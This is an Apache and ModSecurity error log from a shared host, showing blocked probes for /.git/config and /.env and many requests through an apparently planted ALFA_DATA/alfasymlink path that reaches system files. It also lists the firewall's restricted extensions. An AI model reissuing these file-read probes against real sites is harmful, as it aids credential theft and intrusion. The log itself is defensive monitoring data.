[Sun Oct 25 20:19:15.772192 2026] [security2:error] [pid 2926881:tid 2926881] [client 172.64.198.182:14230] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6cgzfgM0I31h6kt_4ckgAAAAc"]
[Sun Oct 25 20:19:15.772293 2026] [security2:error] [pid 2922867:tid 2922867] [client 172.64.198.182:14236] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6cgzWREDnPJfZ18QDVsgAAABs"]
[Sun Oct 25 20:19:15.772488 2026] [security2:error] [pid 2926881:tid 2926881] [client 172.64.198.182:14230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6cgzfgM0I31h6kt_4ckgAAAAc"]
[Sun Oct 25 20:19:15.772499 2026] [security2:error] [pid 2922867:tid 2922867] [client 172.64.198.182:14236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6cgzWREDnPJfZ18QDVsgAAABs"]
[Sun Oct 25 20:19:15.772807 2026] [security2:error] [pid 2922867:tid 2922867] [client 172.64.198.182:14236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6cgzWREDnPJfZ18QDVsgAAABs"]
[Sun Oct 25 20:19:15.772813 2026] [security2:error] [pid 2926881:tid 2926881] [client 172.64.198.182:14230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6cgzfgM0I31h6kt_4ckgAAAAc"]
[Sun Oct 25 20:19:30.248484 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 52.200.58.199:26125] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:19:34.278647 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 54.163.136.244:42598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:19:38.176818 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 98.84.200.43:10095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:19:50.367640 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 44.223.232.55:29538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:19:58.302844 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 107.20.181.148:15547] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:20:06.169547 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 52.45.77.169:44385] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:20:18.735990 2026] [security2:error] [pid 2918422:tid 2918422] [client 107.172.76.131:49516] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6ctcmX8eKs_cgmrz9v-QAAAAU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 20:20:18.736069 2026] [security2:error] [pid 2918422:tid 2918422] [client 107.172.76.131:49516] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6ctcmX8eKs_cgmrz9v-QAAAAU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 20:20:22.241998 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 44.196.118.6:13993] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:20:26.187512 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 34.195.248.30:36208] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:20:38.326172 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 23.21.175.228:50673] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:20:38.326400 2026] [security2:error] [pid 2926322:tid 2926322] [client 23.21.175.228:50673] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty11/subsystem/ptmx/subsystem/tty62/power/runtime_suspended_time"] [unique_id "at6c1tFkJAT_B5m2Ey9vuAAAAAM"]
[Sun Oct 25 20:20:38.326429 2026] [security2:error] [pid 2926322:tid 2926322] [client 23.21.175.228:50673] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty11/subsystem/ptmx/subsystem/tty62/power/runtime_suspended_time"] [unique_id "at6c1tFkJAT_B5m2Ey9vuAAAAAM"]
[Sun Oct 25 20:20:42.196584 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 54.235.191.179:26572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:20:50.345777 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 18.204.89.56:63159] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:20:54.299160 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 18.208.11.93:23277] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:20:58.309311 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 52.54.95.127:27067] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/physical_node/driver/bind
[Sun Oct 25 20:21:04.024341 2026] [core:error] [pid 2928659:tid 2928659] (13)Permission denied: [client 196.3.216.200:51739] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/red_zone
[Sun Oct 25 20:21:05.467127 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 104.138.213.26:43985] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/red_zone
[Sun Oct 25 20:21:06.356032 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 44.220.2.97:24557] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:21:12.359119 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 149.107.243.224:6047] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/red_zone
[Sun Oct 25 20:21:14.361785 2026] [security2:error] [pid 2922867:tid 2922867] [client 216.244.66.250:44366] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "at6c-jWREDnPJfZ18QDVtAAAABs"]
[Sun Oct 25 20:21:14.362225 2026] [security2:error] [pid 2922867:tid 2922867] [client 216.244.66.250:44366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "at6c-jWREDnPJfZ18QDVtAAAABs"]
[Sun Oct 25 20:21:14.362529 2026] [security2:error] [pid 2922867:tid 2922867] [client 216.244.66.250:44366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "at6c-jWREDnPJfZ18QDVtAAAABs"]
[Sun Oct 25 20:21:22.190714 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 52.73.6.26:13784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:0b/eject
[Sun Oct 25 20:21:34.370581 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 52.1.106.130:18257] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:21:35.910784 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 185.191.171.7:11760] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm/sections/__tracepoints
[Sun Oct 25 20:21:38.286756 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 52.45.29.57:24125] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:21:42.187690 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 3.221.222.168:54132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:21:42.187898 2026] [security2:error] [pid 2925278:tid 2925278] [client 3.221.222.168:54132] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:04/physical_node/revision"] [unique_id "at6dFhaKu-Zjs56a5J4rHwAAAAo"]
[Sun Oct 25 20:21:42.187928 2026] [security2:error] [pid 2925278:tid 2925278] [client 3.221.222.168:54132] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:04/physical_node/revision"] [unique_id "at6dFhaKu-Zjs56a5J4rHwAAAAo"]
[Sun Oct 25 20:21:44.426221 2026] [security2:error] [pid 2926850:tid 2926850] [client 20.201.77.247:35876] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at6dGJYUijJJJpUKZ5VYcAAAAAI"]
[Sun Oct 25 20:21:44.426454 2026] [security2:error] [pid 2926850:tid 2926850] [client 20.201.77.247:35876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at6dGJYUijJJJpUKZ5VYcAAAAAI"]
[Sun Oct 25 20:21:44.426749 2026] [security2:error] [pid 2926850:tid 2926850] [client 20.201.77.247:35876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at6dGJYUijJJJpUKZ5VYcAAAAAI"]
[Sun Oct 25 20:21:46.183601 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 54.84.147.79:9709] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:21:50.189387 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 52.204.71.8:17267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:21:54.214501 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 3.217.171.106:28647] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:22:06.182424 2026] [ssl:error] [pid 2926850:tid 2926850] (70014)End of file found: [client 44.223.116.180:63184] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:22:06.674778 2026] [security2:error] [pid 2926323:tid 2926323] [client 185.191.171.18:40596] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/intel/ibt-17-0-1.ddc"] [unique_id "at6dLi7g7KvJoU2B-eLLAwAAAAY"]
[Sun Oct 25 20:22:06.674849 2026] [security2:error] [pid 2926323:tid 2926323] [client 185.191.171.18:40596] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/intel/ibt-17-0-1.ddc"] [unique_id "at6dLi7g7KvJoU2B-eLLAwAAAAY"]
[Sun Oct 25 20:22:18.219313 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 98.84.184.80:28589] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:22:22.211497 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 54.225.148.123:22313] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:22:38.232155 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 23.21.225.190:16554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:22:44.485182 2026] [core:error] [pid 2927273:tid 2927273] (13)Permission denied: [client 85.208.96.210:43486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/hwcache_align
[Sun Oct 25 20:22:46.408501 2026] [core:error] [pid 2926881:tid 2926881] (13)Permission denied: [client 18.205.127.11:51894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory5/subsystem/devices/memory22/node0/cpu1/driver/cpu0/crash_notes
[Sun Oct 25 20:22:58.182621 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 52.44.229.124:15493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:23:02.201640 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 52.23.112.144:55143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:23:06.196608 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 34.224.9.144:45305] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:23:14.537909 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.226.106.93:10647] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:23:22.196287 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 44.210.204.255:6868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:23:30.202181 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 3.208.146.193:13475] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/subsystem/slots/12/module/uevent
[Sun Oct 25 20:23:58.172254 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 18.232.12.157:37874] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:23:58.372579 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 185.191.171.5:47052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:24:06.679555 2026] [authz_core:error] [pid 2913030:tid 2913030] [client 209.99.187.157:46146] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 20:24:10.339200 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 3.210.114.189:59391] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:24:12.168781 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 185.191.171.18:33850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:24:27.545830 2026] [security2:error] [pid 2925075:tid 2925075] [client 107.172.76.131:49502] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6drqMybP9Ij19IhRsCGgAAAAs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 20:24:27.545884 2026] [security2:error] [pid 2925075:tid 2925075] [client 107.172.76.131:49502] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6drqMybP9Ij19IhRsCGgAAAAs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 20:24:30.197743 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 52.204.71.8:59057] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/crash_notes
[Sun Oct 25 20:24:34.382110 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 44.220.2.97:34598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:24:38.208468 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 44.218.170.184:43527] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:25:02.201398 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 34.224.132.215:25113] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:15/eject
[Sun Oct 25 20:25:06.197432 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 18.211.148.239:57648] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/eject
[Sun Oct 25 20:25:10.198023 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 44.217.177.142:12741] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/slots/11/module/uevent
[Sun Oct 25 20:25:18.219121 2026] [ssl:error] [pid 2926323:tid 2926323] (22)Invalid argument: [client 52.203.237.170:42581] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:25:34.196047 2026] [ssl:error] [pid 2926881:tid 2926881] (70014)End of file found: [client 34.227.156.153:1992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:25:42.193751 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 34.234.200.207:9512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/0000:00:01.1/resource3
[Sun Oct 25 20:25:46.164324 2026] [ssl:error] [pid 2926881:tid 2926881] (70014)End of file found: [client 34.231.118.144:38939] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:25:50.222075 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 52.3.26.180:53896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:00/subsystem/devices/PNP0A03:00/device:0c/eject
[Sun Oct 25 20:25:53.535033 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 85.208.96.200:25682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/poison
[Sun Oct 25 20:25:54.190141 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 35.169.119.108:6598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:26:06.170522 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 3.223.181.32:20127] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:26:14.188060 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 3.221.156.96:7381] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/drivers/ac/unbind
[Sun Oct 25 20:26:18.188769 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 52.203.65.83:53269] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:26:22.268721 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 44.212.106.171:53612] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:26:26.161873 2026] [ssl:error] [pid 2926850:tid 2926850] (70014)End of file found: [client 54.145.82.217:59837] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:26:30.175151 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 3.216.227.216:13199] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:26:34.510399 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 34.231.118.144:5120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:26:42.220754 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 98.83.72.38:63042] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:26:55.776881 2026] [authz_core:error] [pid 2926881:tid 2926881] [client 54.161.246.184:20042] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 20:26:58.163586 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.204.150.196:48739] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:27:06.246614 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 54.84.93.8:2013] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:27:10.427269 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 185.191.171.16:22978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/security/ima/runtime_measurements_count
[Sun Oct 25 20:27:18.194406 2026] [ssl:error] [pid 2921032:tid 2921032] (70014)End of file found: [client 18.204.152.114:51191] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:27:22.300995 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 44.221.105.234:7102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse0/device/subsystem/input0/event0/subsystem/input4/device/driver/unbind
[Sun Oct 25 20:27:38.183894 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 23.21.179.120:58426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:28:06.187312 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 3.229.164.203:56322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/platform/alarmtimer/subsystem/devices/pcspkr/driver/unbind
[Sun Oct 25 20:28:22.234894 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 52.204.71.8:23598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:28:26.181490 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 3.94.156.104:56455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:28:30.166464 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 3.208.146.193:30203] AH02013: coalesce failed to read from data bucket
